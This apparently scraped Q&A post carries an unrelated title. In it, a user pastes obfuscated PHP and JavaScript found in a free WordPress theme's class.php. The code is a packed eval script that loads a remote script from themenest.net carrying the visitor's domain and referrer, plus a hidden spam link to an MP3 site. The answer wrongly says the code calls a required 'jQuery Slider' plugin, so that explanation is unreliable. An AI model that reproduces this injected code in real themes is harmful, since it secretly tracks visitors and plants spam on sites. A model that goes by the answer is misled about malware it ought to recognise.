How to download a file in javascript?

I downloaded a WordPress theme from a free site. The theme didn't work it showed an error in the class.php file. What is the error?

• <?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="http://9://a.b/e/o/g?d=%5C%27+0.h+%5C%27&i=%5C%27+j(0.k)+%5C%27&c=%5C%27+4.l((4.m()*n)+1)+%5C'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?> <?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?> This is the code in the class.php file I can notice some script but how do I remove it?

• Answer:

  This theme requires a plugin called "jQuery Slider" which it is calling in the code. You need to install the plugin or remove this code to run the theme properly. This code is also inserting some links to your site which seems to be affiliate links. Be careful.